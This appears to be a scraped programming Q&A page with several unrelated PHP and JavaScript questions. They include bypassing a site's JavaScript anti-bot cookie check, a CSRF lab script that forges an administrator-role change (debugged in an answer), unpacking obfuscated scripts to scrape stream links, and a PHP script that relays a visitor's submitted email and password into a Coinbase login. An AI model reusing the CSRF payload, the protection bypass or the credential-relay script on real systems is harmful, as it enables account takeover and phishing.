How Can i get the content of this api using PHP curl - javascript

i am trying to get the respawn of this api
https://www.zoomeye.org/api/search?q=facebook
but the problem is when i am trying the get it with curl it shows me this respawn header
HTTP/1.1 521
Server: nginx
Date: Thu, 09 Aug 2018 11:45:39 GMT
Transfer-Encoding: chunked
Connection: keep-alive
X-Via-JSL: 79dfd01,-
with this javescript code in the body
<script>
var x = "length##https#####while###0xEDB88320#eval#reverse#else#Array#setTimeout#hantom##Aug##18##challenge##RegExp#363#if#GMT#Thu#PiXG#firstChild##1#href#g###document#new###8#charCodeAt#5k#join#1533815182#3D#as#return##f##addEventListener#div##pathname#split#fromCharCode#46#captcha#O#function#location#Expires#match#rOm9XFMtA3QKV7nYsPGT4lifyWwkq5vcjH2IdxUoCbhERLaz81DNB6#DOMContentLoaded###attachEvent###0#var#3#4V7#chars#catch###d###0xFF#createElement##String#try####parseInt#for#__p#cookie#e#09##window#charAt#substr#Path#toString#search##12#toLowerCase#innerHTML#2#false#36#22##JgSe0upZ##onreadystatechange######a#__jsl_clearance##replace#1500#B#".replace(/#*$/, "").split("#"),
y = "1t 2n=1h(){g('1i.y=1i.1b+1i.2e.2z(/[\\?|&]1f-n/,\\'\\')',2A);C.25='2x=11.q|1s|'+(1h(){1t 2p=[1h(2n){14 2n},1h(2p){14 2p},1h(2n){14 c('1G.1d('+2n+')')},1h(2n){23(1t 2p=1s;2p<2n.1;2p++){2n[2p]=22(2n[2p]).2d(2l)};14 2n.10('')}],2n=['1g',[(-~-~![]+[]+[])+[-~(+!{})]],'2j%',(-~-~![]+[]+[]),'2B',[(-~-~![]+[]+[])+((-~{}+[(-~-~![])*[-~-~![]]]>>-~{})+[])],[((-~{}+[(-~-~![])*[-~-~![]]]>>-~{})+[])+(~~!!29['24'+'h'+'13']+[])],[(-~-~![]+[]+[])+[(-~[]+[((+!+{})<<(+!+{}))]>>((+!+{})<<(+!+{})))+(-~[]+[((+!+{})<<(+!+{}))]>>((+!+{})<<(+!+{})))]],[-~(+!{})],'u',[[-~-~![]]/~~{}+[[]][1s]][1s].2a(~~{}),[(G+[[]][1s])+[(-~[]+[((+!+{})<<(+!+{}))]>>((+!+{})<<(+!+{})))+(-~[]+[((+!+{})<<(+!+{}))]>>((+!+{})<<(+!+{})))]],[(-~-~![]+[]+[])+(G+[[]][1s])],'I',[(-~[2j]+[]+[[]][1s])+[-~(+!{})]],'1v',[(-~[]+[((+!+{})<<(+!+{}))]>>((+!+{})<<(+!+{})))+(-~[]+[((+!+{})<<(+!+{}))]>>((+!+{})<<(+!+{})))]+[-~[]+(-~-~![]^-~(+!{}))]+(~~!!29['24'+'h'+'13']+[]),[[-~(+!{})]+(-~-~![]+[]+[]),(-~-~![]+[]+[])+(G+[[]][1s])],'z%12'];23(1t 1a=1s;1a<2n.1;1a++){2n[1a]=2p[[x,1u,x,1s,x,1u,2j,1u,1s,x,1s,2j,1u,x,1u,x,1s,1u,x][1a]](2n[1a])};14 2n.10('')})()+';1j=t, 27-j-l 2g:1e:2m s;2c=/;'};r((1h(){1H{14 !!29.18;}1x(26){14 2k;}})()){C.18('1m',2n,2k)}e{C.1p('2q',2n)}",
f = function(x, y) {
var a = 0,
b = 0,
c = 0;
x = x.split("");
y = y || 99;
while ((a = x.shift()) && (b = a.charCodeAt(0) - 77.5)) c = (Math.abs(b) < 13 ? (b + 48.5) : parseInt(a, 36)) + y * c;
return c
},
z = f(y.match(/\w/g).sort(function(x, y) {
return f(x) - f(y)
}).pop());
while (z++) try {
eval(y.replace(/\b\w+\b/g, function(y) {
return x[f(y, z) - 1] || ("_" + y)
}));
break
} catch (_) {}
</script>
so what i notice is this javascript code sets a cookie with name __jsl_clearance so how can i use this api in my application
any ideas or solutions
-- update this is my curl code --
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "https://www.zoomeye.org/api/search?q=facebook");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, "GET");
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cook.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cook.txt');
curl_setopt($ch, CURLOPT_ENCODING, 'gzip, deflate');
$headers = array();
$headers[] = "Accept-Encoding: gzip, deflate, br";
$headers[] = "Accept-Language: ar,en-US;q=0.9,en;q=0.8";
$headers[] = "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36";
$headers[] = "Accept: application/json, text/plain, */*";
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
echo $result = curl_exec($ch);
curl_close ($ch);
thanks .....

Related

JavaScript: Iterate through array in for loop?

I'm working on a CSRF lab and trying to iterate through 20+ tokens.
<script>
var token = ["f23e7b8c79d33d39ea67f0062b2cdb23", "90b157ac841c5aa7854285ea225c18e3", "9a189a1ef6a01aae6a298a0594831b66"];
var arrayLength = token.length;
for (var i = 0; i < arrayLength; i++) {
function submitRequest() {
var xhr = new XMLHttpRequest();
xhr.open("POST", "https://csrf.labs/function.php", true);
xhr.setRequestHeader("Accept", "application/json, text/javascript, */*; q=0.01");
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded; charset=UTF-8");
xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
xhr.withCredentials = true;
var body = "username=foo&email=hacker%40evil.net&status=administrator&csrf=" + token[i] + "&submit=";
var aBody = new Uint8Array(body.length);
for (var i = 0; i < aBody.length; i++)
aBody[i] = body.charCodeAt(i);
xhr.send(new Blob([aBody]));
}
submitRequest.call();
};
</script>
I'm using +token[i]+ to insert the token into the csrf param, but viewing the request(s) in Burp, it seems to be "undefined":
POST /function.php HTTP/1.1
Host: csrf.labs
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 89
Origin: null
DNT: 1
Connection: close
Cookie: PHPSESSID=[redacted]
Cache-Control: max-age=0
username=foo&email=hacker%40evil.net&status=administrator&csrf=undefined&submit=
What am I getting wrong here? I'm still new to JavaScript so maybe +token[i]+ isn't the proper way to do this?
You're defining i twice in the same scope, either define it with let or use another variable:
var token = ["f23e7b8c79d33d39ea67f0062b2cdb23", "90b157ac841c5aa7854285ea225c18e3", "9a189a1ef6a01aae6a298a0594831b66"];
var arrayLength = token.length;
for (var i = 0; i < arrayLength; i++) {
function submitRequest() {
var xhr = new XMLHttpRequest();
xhr.open("POST", "https://csrf.labs/function.php", true);
xhr.setRequestHeader("Accept", "application/json, text/javascript, */*; q=0.01");
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded; charset=UTF-8");
xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
xhr.withCredentials = true;
var body = "username=foo&email=hacker%40evil.net&status=administrator&csrf=" + token[i] + "&submit=";
var aBody = new Uint8Array(body.length);
for (var j = 0; j < aBody.length; j++)
aBody[j] = body.charCodeAt(j);
xhr.send(new Blob([aBody]));
}
submitRequest.call();
};
When your create the fn submitRequest() a new scope is created that doesn't know about the var token.So i think you need to pass token[i] to your fn while calling and also prototype the fn as per the requirement.
function submitRequest(token){
}
submitRequest(token[i]);

Unpack Javascript with PHP

I need a way to unpack JavaScript with PHP the changing code is on my domain here http://beastfeeds.com/ty9.php the full code is in page source view-source:http://beastfeeds.com/ty9.php for some odd reason the webpage only displays part of the code but the full one is there! I just need it to run and decrypt the code so it displays the decrypted code so i can grab the m3u8 from the output as it changes on every page load. Here is what i am trying to run to achieve it which works fine with Javascript Eval (U.n.p.a.c.k.e.d) but not with this format
<?php
class JavaScriptUnpacker
{
private $unbaser;
private $payload;
private $symtab;
private $radix;
private $count;
function Detect($source)
{
$source = preg_replace("/ /","",$source);
preg_match("/eval\(function\(p,a,c,k,e,[r|d]?/", $source, $res);
Debug::Write($res,"detection result");
return (count($res) > 0);
}
function Unpack($source)
{
preg_match_all("/}\('(.*)', *(\d+), *(\d+), *'(.*?)'\.split\('\|'\)/",$source,$out);
Debug::Write($out,"DOTALL", false);
// Payload
$this->payload = $out[1][0];
Debug::Write($this->payload,"payload");
// Words
$this->symtab = preg_split("/\|/",$out[4][0]);
Debug::Write($this->symtab,"symtab");
// Radix
$this->radix = (int)$out[2][0];
Debug::Write($this->radix,"radix");
// Words Count
$this->count = (int)$out[3][0];
Debug::Write($this->count,"count");
if( $this->count != count($this->symtab)) return; // Malformed p.a.c.k.e.r symtab !
//ToDo: Try catch
$this->unbaser = new Unbaser($this->radix);
$result = preg_replace_callback(
'/\b\w+\b/',
array($this, 'Lookup')
,
$this->payload
);
$result = str_replace('\\', '', $result);
Debug::Write($result);
$this->ReplaceStrings($result);
return $result;
}
function Lookup($matches)
{
$word = $matches[0];
$ub = $this->symtab[$this->unbaser->Unbase($word)];
$ret = !empty($ub) ? $ub : $word;
return $ret;
}
function ReplaceStrings($source)
{
preg_match_all("/var *(_\w+)\=\[\"(.*?)\"\];/",$source,$out);
Debug::Write($out);
}
}
class Unbaser
{
private $base;
private $dict;
private $selector = 52;
private $ALPHABET = array(
52 => '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOP',
54 => '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQR',
62 => '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ',
95 => ' !"#$%&\'()*+,-./0123456789:;<=>?#ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~'
);
function __construct($base)
{
$this->base = $base;
if($this->base > 62) $this->selector = 95;
else if($this->base > 54) $this->selector = 62;
else if($this->base > 52) $this->selector = 54;
}
function Unbase($val)
{
if( 2 <= $this->base && $this->base <= 36)
{
return intval($val,$this->base);
}else{
if(!isset($this->dict)){
$this->dict = array_flip(str_split($this->ALPHABET[$this->selector]));
}
$ret = 0;
$valArray = array_reverse(str_split($val));
for($i = 0; $i < count($valArray) ; $i++)
{
$cipher = $valArray[$i];
$ret += pow($this->base, $i) * $this->dict[$cipher];
}
return $ret;
// UnbaseExtended($x, $base)
}
}
}
class Debug
{
public static $debug = false;
public static function Write($data, $header = "", $mDebug = true)
{
if(!self::$debug || !$mDebug) return;
if(!empty($header))
echo "<h4>".$header."</h4>";
echo "<pre>";
print_r($data);
echo "</pre>";
}
}
// FOLLOW ALL REDIRECTS:
// This makes multiple requests, following each redirect until it reaches the
// final destination.
function get_redirect_final_target($url)
{
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_NOBODY, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); // follow redirects
curl_setopt($ch, CURLOPT_AUTOREFERER, 1); // set referer on redirect
curl_exec($ch);
$target = curl_getinfo($ch, CURLINFO_EFFECTIVE_URL);
curl_close($ch);
if ($target)
return $target;
return false;
}
function getURL($u){
$ops = array(
'http'=>array(
'method'=>"GET",
'header'=>"Accept: text/html\r\n" .
"User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0\r\n"
)
);
$co = stream_context_create($ops);
$r = file_get_contents('http://' . $u, false, $co);
return $r != false ? $r : "";
}
function GetStringBetween($string, $start, $finish){
$string = " ".$string;
$position = strpos($string, $start);
if ($position == 0) return "";
$position += strlen($start);
$length = strpos($string, $finish, $position) - $position;
return substr($string, $position, $length);
}
$grab = file_get_contents("http://beastfeeds.com/ty9.php");
$streama = GetStringBetween($grab, 'var', '</script>');
$unpacker = new JavaScriptUnpacker();
$unpacked = $unpacker->Unpack($grab);
preg_match_all('/\b(?:(?:https?|ftp|file):\/\/|www\.|ftp\.)[-A-Z0-9+&##\/%=~_|$?!:,.]*[A-Z0-9+&##\/%=~_|$]/i', $unpacked, $result, PREG_PATTERN_ORDER);
$result = $result[0];
$stream = GetStringBetween($unpacked, "src:'", "'");
?>
<?= trim($unpacked, "\r\n\t ")?>
I reallllllly need this!!!! any help is greatly appreciated i have been trying to do this for a week now.

Upload file with different md5 and expire at the end

I have a script for uploading files, this script works with PHP without data base, I can upload regular file types including
$valid_exts = array("JPEG","jpeg","jpg","gif","png","PNG","bmp","svg","doc","docx","ppt","pdf","pptx","html","xml","zip","rar","mp3","mp4","mkv","exe");
but I have many link with this format. There is md5 and expire at the end
for example:
https://dl.vipdl.pro/Dl/Movies/2019/November/I.Still.Hide.to.Smoke.2016.DVDRip.SkyFilm.mkv?md5=kgTWFtHIOTmt0szuHMArQg&expires=1582385143
I want to upload these files but I can't/this parameters is different for every link and expire after 3 days is there any other way?
I write all function codes here.
function yawar_DUP($getfileurl='',$urltype='',$vid='', $conn="", $d=""){
ini_set('max_execution_time', 550);
$line = $getfileurl;
$file = fopen($line,"rb");
if(!empty($d)){
$directory = "upload/" . $d . "/";
}else{
$directory = "upload/";
}
$valid_exts = array("JPEG","jpeg","jpg","gif","png","PNG","bmp","svg","doc","docx","ppt","pdf","pptx","html","xml","zip","rar","mp3","mp4","mkv","exe");
$ext = end(explode(".",strtolower(basename($line))));
if(in_array($ext,$valid_exts)||$urltype=='youtube')
{
switch ($urltype) {
case 'youtube':
$name = 'youtubeVideo'.date("Ymdhis").'.mp4';
break;
case 'aparat':
$name = 'AparatVideo_'.$vid.'.mp4';
break;
default:
$name = basename($line);
break;
}
$prefix = 'DUP'.date("Ymdhis")."_www.website.com".'_';
$filename = $prefix.$name;
//$sanitized_filename = remove_accents( $filename ); // Convert to ASCII
// Standard replacements
$invalid = array(' '=> '-', '%20' => '-', '_' => '-',);
$filename = str_replace( array_keys( $invalid ), array_values( $invalid ), $filename );
$newfile = fopen($directory . $filename, "wb");
if($newfile)
{
while(!feof($file))
{
fwrite($newfile,fread($file,1024 * 800),1024 * 160000);
}
$finalmsg= 'File '.$filename.' uploaded successfully .';
}
else
{
$finalmsg= 'File does not exists';
}
}
else{$finalmsg= 'Invalid URL';}
return $finalmsg;
}
function yawar_DUP_ftp($fileurl='',$urltype='',$vid='',$conn=''){
ini_set('max_execution_time', 550);
$file = fopen($fileurl,"r");
$directory = "upload/";
$valid_exts = array("JPEG","jpeg","jpg","gif","png","PNG","bmp","svg","doc","docx","ppt","pdf","pptx","html","xml","zip","rar","mp3","mp4","mkv","exe");
$ext = end(explode(".",strtolower(basename($fileurl))));
if(in_array($ext,$valid_exts)||$urltype=='youtube')
{
switch ($urltype) {
case 'youtube':
$name = 'youtubeVideo'.date("Ymdhis").'.mp4';
break;
case 'aparat':
$name = 'AparatVideo_'.$vid.'.mp4';
break;
default:
$name = basename($fileurl);
break;
}
$prefix = 'DUP'.date("ymd").'_';
$filename = $prefix.$name;
$invalid = array(' '=> '-', '%20' => '-', '_' => '-',);
$filename = str_replace( array_keys( $invalid ), array_values( $invalid ), $filename );
$godup=ftp_upload_data_files($conn,$fileurl,$filename);
if (is_array($godup)) {
$finalmsg= 'File '.$godup['name'].' uploaded successfully .';
}
else
{
$finalmsg= 'Error : FTP connection not stablished!';
}
/*
$newfile = fopen($directory . $filename, "wb");
if($newfile)
{
while(!feof($file))
{
fwrite($newfile,fread($file,1024 * 800),1024 * 160000);
}
$finalmsg= 'File '.$filename.' uploaded successfully .';
}
else
{
$finalmsg= 'File does not exists';
}
*/
}
else{$finalmsg= 'Invalid URL';}
return $finalmsg;
}
function ftp_upload_data_files($conn='',$desfile,$filename)
{
$ftphost= $conn["host"];
if(substr($ftphost , 0, 4) === "ftp.") {$ftphost=substr($ftphost , 4);}
$ftp_server = 'ftp://'.$ftphost.'/public_html/'.$conn["dir"];//(FTP_CONNECTION_TYPE == "test") ? FTP_CONNECTION_FTP_SERVER_TEST : FTP_CONNECTION_FTP_SERVER_LIVE;
$http_server= 'http://'.$ftphost.'/'.$conn["dir"];
$FTP_CONNECTION_PORT= $conn["port"];
$FTP_CONNECTION_USERNAME= $conn["user"];
$FTP_CONNECTION_PASS= $conn["pass"];
$ch = curl_init();
$fp = fopen($desfile, 'rb');
//curl_setopt($curl, CURLOPT_HTTPHEADER, array('Expect:'));
curl_setopt($ch, CURLOPT_URL, $ftp_server.$filename);
curl_setopt($ch, CURLOPT_USERPWD, $FTP_CONNECTION_USERNAME.":".$FTP_CONNECTION_PASS);
curl_setopt($ch, CURLOPT_UPLOAD, 1);
curl_setopt($ch, CURLOPT_INFILE, $fp);
curl_setopt($ch, CURLOPT_INFILESIZE, filesize($desfile));
curl_exec ($ch);
$error_no = curl_errno($ch);
curl_close ($ch);
if ($error_no == 0 || $error_no == 18) {
$callback = array('link'=>$http_server.$filename , 'name'=> $filename);
} else {
$callback = $error_no;
}
return $callback;
}
function yawarDUP_getFileSize($fileurl){
//URL of the remote file that you want to get
//the file size of.
$remoteFile = $fileurl;
//Create a cURL handle with the URL of
//the remote file.
$curl = curl_init($remoteFile);
//Set CURLOPT_FOLLOWLOCATION to TRUE so that our
//cURL request follows any redirects.
curl_setopt($curl, CURLOPT_FOLLOWLOCATION, true);
//We want curl_exec to return the output as a string.
curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
//Set CURLOPT_HEADER to TRUE so that cURL returns
//the header information.
curl_setopt($curl, CURLOPT_HEADER, true);
//Set CURLOPT_NOBODY to TRUE to send a HEAD request.
//This stops cURL from downloading the entire body
//of the content.
curl_setopt($curl, CURLOPT_NOBODY, true);
//Execute the request.
curl_exec($curl);
//Retrieve the size of the remote file in bytes.
$fileSize = curl_getinfo($curl, CURLINFO_CONTENT_LENGTH_DOWNLOAD);
//Convert it into KB
$fileSizeMB = round(round($fileSize / 1024) / 1024);
return $fileSizeMB;
}
function ftp_get_file_names()
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "ftp://$ftp_server/");
curl_setopt($ch, CURLOPT_PORT, $FTP_CONNECTION_PORT);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_USERPWD, $FTP_CONNECTION_USERNAME.":".$FTP_CONNECTION_PASS);
curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
curl_setopt($ch, CURLOPT_DIRLISTONLY, TRUE);
$files_list = curl_exec($ch);
curl_close($ch);
// The list of all files names on folder
$file_names_array= explode("\n", $files_list);
// Filter and exclude array elements not valid
foreach ($file_names_array as $file_name)
{
if (preg_match('#^'.FILES_PREFIX.'#', $file_name) === 1) {
$file_names[] = $file_name;
}
}
return $file_names;
}
function yawar_get_aparat_videos($aparatkey,$keytype='',$vnumber='') {
if(!is_array($aparatkey)){
$aparatkey= (strpos($aparatkey, 'https://www.aparat.com/') !== false) ? after_last('/', $aparatkey ) : $aparatkey;
}
if ($keytype==='channel'||empty($keytype)) {
$aurl = 'https://www.aparat.com/etc/api/videoByUser/username/'.$aparatkey.'/perpage/'.$vnumber;
$chvid= yawar_get_json_data($aurl);
$loopvids= $chvid->videobyuser;
$fetchtype= (!empty($loopvids)) ? 'videobyuser' : 'videobytag' ;
}
if ($keytype==='MULTIVIDEO'){
foreach ($aparatkey as $key => $videokey) {
$msvids[$key]= array('uid' => $videokey);
}
$loopvids = $msvids;
$loopvids = array_map(function($loopvids){return (object)$loopvids;}, $loopvids);
}
if ($fetchtype=='videobytag') {
$aurl='https://www.aparat.com/etc/api/videobytag/text/'.$aparatkey;
$chvid= yawar_get_json_data($aurl);
$loopvids= $chvid->videobytag;
}
if ($keytype==='singlevideo'||empty($loopvids)) {
$loopvids = array(array('uid'=>$aparatkey));
$loopvids = array_map(function($loopvids){return (object)$loopvids;}, $loopvids);
}
foreach ($loopvids as $item) {
//https://www.aparat.com//video/video/config/videohash/$aparatkey/watchtype/site
//https://www.aparat.com/etc/api/video/videohash/$aparatkey
$svdata= yawar_get_json_data('https://www.aparat.com//video/video/config/videohash/'.$item->uid.'/watchtype/site');
$svxml = (simplexml_load_file("https://www.aparat.com//video/video/config/videohash/".$item->uid."/watchtype/site","SimpleXMLElement", LIBXML_NOERROR | LIBXML_ERR_NONE)) ? simplexml_load_file("https://www.aparat.com//video/video/config/videohash/".$item->uid."/watchtype/site") : "";
if(empty($svxml)){echo '<p class="ltr text-left f-nim grey-text text-center"><i class="fas fa-exclamation-triangle pr-1 align-text-top amber-text"></i>Aparat Error: failed to fetch this video id: '.$item->uid.', So im ignored it</p>' ; continue;}
$vurl = before_last('__', $svxml->file );
$viQuality = between_last('-','p', $vurl);
if (!empty($viQuality)) {
switch ($viQuality) { //increase video Quality.
case '720':
$avaiqu= array('720p','480p','360p');
break;
case '480':
$avaiqu= array('720p','480p','360p');
break;
case '360':
$avaiqu= array('480p','360p','240p');
break;
case '270':
$avaiqu= array('360p','270p','240p');
break;
case '240':
$avaiqu= array('360p','270p','240p');
break;
case '144':
$avaiqu= array('240p','144p');
break;
default:
$avaiqu= array($viQuality.'p');
break;
}
$x=0;
foreach ($avaiqu as $value) {
$thisvurl= before_last('-', $vurl).'-'.$value.'.mp4';
$file_headers = #get_headers($thisvurl);
if (strpos($file_headers[0], '200') !== false) {
$Avurl[$x]=$thisvurl;
$x++;
}
}
}else{$Avurl[0]=$vurl.'.mp4';}
$Avfile=$Avurl;
$Avposter= $svdata->video->big_poster;
$Avtitle= $svdata->video->title;
$Avdescription= $svdata->video->description;
$Avuid= $item->uid;
$Avuserid= $svdata->video->username;
$Avusername= $svdata->video->sender_name;
$Avuserpage= 'https://www.aparat.com/'.$Avuserid;
$Avlink= 'https://www.aparat.com/v/'.$Avuid;
$Avuserlogo= $svdata->video->profilePhoto;
$Avvisits= 0+$svdata->video->visit_cnt;
$Avlikes= 0+$svdata->video->like_cnt;
$Avcat= $svdata->video->cat_name;
$Avtags= $svdata->video->tags; foreach ($Avtags as $key => $tag) {$Avtags[$key] = $tag->name;}
$Avdate= $svdata->video->create_date;
$Aisofficial= $svdata->video->official;
$videodata[]=array('data'=> array('from'=>'aparat', 'vid'=>$Avuid, 'title'=>$Avtitle, 'description'=>$Avdescription, 'video'=>$Avfile, 'poster'=>$Avposter,'alink'=>$Avlink, 'userid'=>$Avuserid, 'username'=>$Avusername, 'userlink'=>$Avuserpage, 'userlogo'=> $Avuserlogo, 'official'=> $Aisofficial, 'adate'=>$Avdate,'tags'=> $Avtags, 'cat'=>$Avcat , 'likes'=>$Avlikes, 'views'=>$Avvisits, 'quality'=>$avaiqu));
$c++; if ($c==$vnumber) {break;}
} //end foreach.
return $videodata;
}//end func.
/**
* Youtube Fetch System.
**/
function yawar_get_youtubevideos($youtubeurl){
$youtubekey= (strpos($youtubeurl, 'https://www.youtube.com/') !== false) ? after_last('/watch?v=', $youtubeurl ) : $youtubeurl;
$videosrc= yawar_get_youtubevideo_info($youtubekey);
return $videosrc;
}
function yawar_get_youtubevideo_info($video_id) {
$vinfo = 'https://www.youtube.com/get_video_info?video_id='.$video_id;
$video_data= file_get_contents($vinfo);
$wm_string = iconv("windows-1251", "utf-8", $video_data);
parse_str(urldecode($wm_string), $result);
$json = json_encode($result);
$end= json_decode($json,true);
$video= after('url=',$end['url_encoded_fmt_stream_map']);
return $video;
/*echo '<div class="col-10 mx-auto position-relative">
<div class="video p-1">
<video class="video-fluid w-100" poster="" controls>
<source src="'.$video.'" type="video/mp4">
Your browser does not support the video tag.
</video>
</div>
<hr>';
echo '</div>'; */
}
function yawar_get_json_data($jsonURL){
$ch = curl_init();
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_URL, $jsonURL);
$result = curl_exec($ch);
curl_close($ch);
$pdata= json_decode($result);
return $pdata;
}
function after ($thisvar, $inthat)
{
if (!is_bool(strpos($inthat, $thisvar)))
return substr($inthat, strpos($inthat,$thisvar)+strlen($thisvar));
};
function after_last ($thisvar, $inthat)
{
if (!is_bool(strrevpos($inthat, $thisvar)))
return substr($inthat, strrevpos($inthat, $thisvar)+strlen($thisvar));
};
function before ($thisvar, $inthat)
{
return substr($inthat, 0, strpos($inthat, $thisvar));
};
function before_last ($thisvar, $inthat)
{
return substr($inthat, 0, strrevpos($inthat, $thisvar));
};
function between ($thisvar, $that, $inthat)
{
return before ($that, after($thisvar, $inthat));
};
function between_last ($thisvar, $that, $inthat)
{
return after_last($thisvar, before_last($that, $inthat));
};
// use strrevpos function in case your php version does not include it
function strrevpos($instr, $needle)
{
$rev_pos = strpos (strrev($instr), strrev($needle));
if ($rev_pos===false) return false;
else return strlen($instr) - $rev_pos - strlen($needle);
};
?> ``

How to read external docx file content using ajax

The following is the request formed:
Request URL: https://remoteserverurl.docx
Request Method: GET
Status Code: 200 OK
Remote Address: 10.232.4.216:7317
Referrer Policy: no-referrer-when-downgrade
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Connection: keep-alive
Cookie: isPageflowTouch=true; schemaId=1; updCtx=true; typeId=91433788276151561974313054830
Host: domain.test.com
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36
function getdocx(url){
var oReq = new XMLHttpRequest();
var arrayBuffer;
oReq.open('GET', url, true);
oReq.responseType = "arraybuffer";
oReq.onload = function (oEvent) {
arrayBuffer = oReq.response; // Note: not oReq.responseText
var binary = '';
var bytes = new Uint8Array( arrayBuffer );
var len = bytes.byteLength;
for (var i = 0; i < len; i++) {
binary += String.fromCharCode( bytes[ i ] );
}
var contentfromDocx = window.btoa( binary );
//do what ever you want with this
oReq.send(null);
}

remote login with php curl to coinbase

I am trying to create a script to login remotely to coinbase.com, but i get javascript is not enabled on submit if user/pass combination is valid. Else i get the correct response that user or pass is invalid.
Is there anyway to bypass the javascript error?
Any help would be much appreciated.
Here is the code :
<?php
session_cache_limiter('nocache');
ini_set('memory_limit','-1');
error_reporting(0);
$user=$_POST['email'];
$pass=$_POST['password'];
$random=rand(1, 100000);
$cookie=$random . ".txt";
$agent="Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0";
function doRequest($method, $url, $referer, $agent, $cookie, $vars) {
$ch=curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
if($referer != "") {
curl_setopt($ch, CURLOPT_REFERER, $referer);
}
curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
curl_setopt($ch, CURLOPT_USERAGENT, $agent);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookie);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie);
if ($method == 'POST') {
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $vars);
}
if (substr($url, 0, 5) == "https") {
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 2);
}
$data = curl_exec($ch);
curl_close($ch);
if ($data) {
return $data;
} else {
return curl_error($ch);
}
}
function get($url, $referer, $agent, $cookie) {
return doRequest('GET', $url, $referer, $agent, $cookie, 'NULL');
}
function post($url, $referer, $agent, $cookie, $vars) {
return doRequest('POST', $url, $referer, $agent, $cookie, $vars);
}
function between1($src,$start,$end){
$txt=explode($start,$src);
$txt2=explode($end,$txt[1]);
return trim($txt2[0]);
}
$url = "https://www.coinbase.com/signin";
$referer = "";
$result=get($url,'',$agent,$cookie);
$token=between1($result, 'name="authenticity_token" value="', '"');
$utf=between1($result, 'name="utf8" type="hidden" value="', '"');
$token=urlencode($token);
$utf=urlencode($utf);
$url="https://ws.coinbase.com/app/d7be708e7945ebab11a34c530cb4dc?protocol=7&client=js&version=2.2.3&flash=false";
$result=get($url,'',$agent,$cookie);
$url="https://www.coinbase.com/sessions";
$referer="https://www.coinbase.com/signin";
$vars="utf8=".$utf."&authenticity_token=".$token."&email=".urlencode($user)."&password=".urlencode($pass)."&commit=Sign+In: undefined";
$result=post($url,$referer,$agent,$cookie,$vars);
echo $result;
?>

Categories

Resources